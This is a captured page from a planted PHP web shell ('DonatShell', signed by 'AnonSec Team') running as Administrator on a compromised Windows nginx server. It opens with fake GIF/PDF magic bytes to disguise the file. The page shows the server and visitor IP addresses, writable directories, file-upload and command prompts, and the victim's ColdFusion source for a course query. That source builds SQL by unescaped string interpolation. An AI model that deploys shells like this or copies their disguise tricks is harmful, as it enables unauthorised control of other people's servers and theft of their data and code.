GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/qry/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html//qry/NonDepartmentCurrentCredentialCourses.cfqry
<!--- NonDepartmentCurrentCredentialCourses.cfqry --->

<cfparam name="NonDepartmentCourseDebug" default=false>
<cfif NonDepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
 <cfoutput>NonDepartmentCourseDebug is on.<br></cfoutput>
</cfif>

<cfparam name="DepartmentID" default="">

<cfif NonDepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
 <cfoutput>DepartmentID=#DepartmentID#<br></cfoutput>
 <cfoutput><pre>
SELECT First(Course.CourseID) AS FirstCourseID, Department.DepartmentCode, Course.CourseNumber
FROM (Program INNER JOIN (Credential INNER JOIN ((Course INNER JOIN Department ON Course.DepartmentID = Department.DepartmentID) INNER JOIN CredentialSection_Course ON (Course.CourseID = CredentialSection_Course.CourseID) AND (Course.CourseID = CredentialSection_Course.CourseID)) ON Credential.CredentialID = CredentialSection_Course.CredentialID) ON Program.ProgramID = Credential.ProgramID) INNER JOIN ProgramCategory ON Program.ProgramCategoryID = ProgramCategory.ProgramCategoryID
GROUP BY Department.DepartmentCode, Course.CourseNumber, Program.ProgramName, Course.CourseIsUnavailable
HAVING Department.DepartmentCode <> '#DepartmentCode#' 
   AND Course.CourseIsUnavailable = 0
	 AND (Program.ProgramName='Computer Programmer' OR Program.ProgramName='Computer Support Technician' OR Program.ProgramName='Network Systems Administration')
ORDER BY Department.DepartmentCode, Course.CourseNumber
 </pre></cfoutput>
</cfif>

<cfquery datasource="#APPLICATION.DATASOURCE_RC#" 
     name="NonDepartmentCurrentCredentialCoursesCF">
SELECT First(Course.CourseID) AS FirstCourseID, Department.DepartmentCode, Course.CourseNumber
FROM (Program INNER JOIN (Credential INNER JOIN ((Course INNER JOIN Department ON Course.DepartmentID = Department.DepartmentID) INNER JOIN CredentialSection_Course ON (Course.CourseID = CredentialSection_Course.CourseID) AND (Course.CourseID = CredentialSection_Course.CourseID)) ON Credential.CredentialID = CredentialSection_Course.CredentialID) ON Program.ProgramID = Credential.ProgramID) INNER JOIN ProgramCategory ON Program.ProgramCategoryID = ProgramCategory.ProgramCategoryID
GROUP BY Department.DepartmentCode, Course.CourseNumber, Program.ProgramName, Course.CourseIsUnavailable
HAVING Department.DepartmentCode <> '#DepartmentCode#' 
   AND Course.CourseIsUnavailable = 0
	 AND (Program.ProgramName='Computer Programmer' OR Program.ProgramName='Computer Support Technician' OR Program.ProgramName='Network Systems Administration')
ORDER BY Department.DepartmentCode, Course.CourseNumber
</cfquery>

<cfif NonDepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
 <cfoutput>NonDepartmentCurrentCredentialCoursesCF.RecordCount=#NonDepartmentCurrentCredentialCoursesCF.RecordCount#<br><cfdump label="NonDepartmentCurrentCredentialCoursesCF" var="#NonDepartmentCurrentCredentialCoursesCF#"></cfoutput>
</cfif>


<cfset CurrentCoursesURL = APPLICATION.HTTP_SERVER & "/qry/NonDepartmentCurrentCredentialCourses.php">
<cfhttp url="#CurrentCoursesURL#" method="GET" resolveurl="Yes" throwonerror="Yes"/>
<cfset CurrentCourses = CFHTTP.FileContent>
<cfif NonDepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
  <cfoutput>
    <br>
    CurrentCoursesURL= #CurrentCoursesURL#<br>
    CurrentCoursest= #CurrentCourses#<br>
    ListLen(CurrentCourses,";")=#ListLen(CurrentCourses,";")#<br>
    ListGetAt(CurrentCourses,1,";")=#ListGetAt(CurrentCourses,1,";")#<br>
    <br>
  </cfoutput>
</cfif>
<cfloop index="CourseInfo" list="#CurrentCourses#" delimiters=";">
	<cfset CourseInfo = trim(#CourseInfo#)>
	<cfif NonDepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
    <cfoutput>
      <br>
      CourseInfo=#CourseInfo#<br>
      ListLen(CourseInfo,",")=#ListLen(CourseInfo,",")#<br>
    </cfoutput>
  </cfif>
  <cfif ListLen(CourseInfo,",") eq 3>
    <cfset CourseNumber = #ListGetAt(CourseInfo,2,",")#>
    <cfset DepartmentCode = #ListGetAt(CourseInfo,1,",")#>
    <cfset FirstCourseID = #ListGetAt(CourseInfo,3,",")#>
		<cfif NonDepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
			<cfoutput>
        CourseNumber=#CourseNumber#<br>
        DepartmentCode=#DepartmentCode#<br>
        FirstCourseID=#FirstCourseID#<br>
      </cfoutput>
    </cfif>
    <cfquery name="newCourse" dbtype="query">
    SELECT * 
      FROM NonDepartmentCurrentCredentialCoursesCF 
     WHERE CourseNumber = '#CourseNumber#' 
       AND DepartmentCode = '#DepartmentCode#'
    </cfquery>
		<cfif NonDepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
			<cfoutput>
        newCourse.RecordCount=#newCourse.RecordCount#<br>
      </cfoutput>
    </cfif>
    <cfif newCourse.RecordCount eq 0>
			<!--- Add the missing course --->
      <cfset temp = QueryAddRow(NonDepartmentCurrentCredentialCoursesCF)>
      <cfset Temp = QuerySetCell(NonDepartmentCurrentCredentialCoursesCF, "CourseNumber", #CourseNumber#)>
      <cfset Temp = QuerySetCell(NonDepartmentCurrentCredentialCoursesCF, "DepartmentCode", #DepartmentCode#)>
      <cfset Temp = QuerySetCell(NonDepartmentCurrentCredentialCoursesCF, "FirstCourseID", #FirstCourseID#)>
		</cfif>
	</cfif>
</cfloop>

<cfquery name="NonDepartmentCurrentCredentialCourses" dbtype="query">
SELECT *
  FROM NonDepartmentCurrentCredentialCoursesCF
ORDER BY DepartmentCode, CourseNumber, FirstCourseID
</cfquery>

<cfif NonDepartmentCourseDebug AND REMOTE_ADDR eq "173.29.36.219">
 <cfoutput>
 	NonDepartmentCurrentCredentialCourses.RecordCount=#NonDepartmentCurrentCredentialCourses.RecordCount#<br>
 	<cfdump label="NonDepartmentCurrentCredentialCourses" var="#NonDepartmentCurrentCredentialCourses#">
 </cfoutput>
</cfif>

Anon7 - 2022
AnonSec Team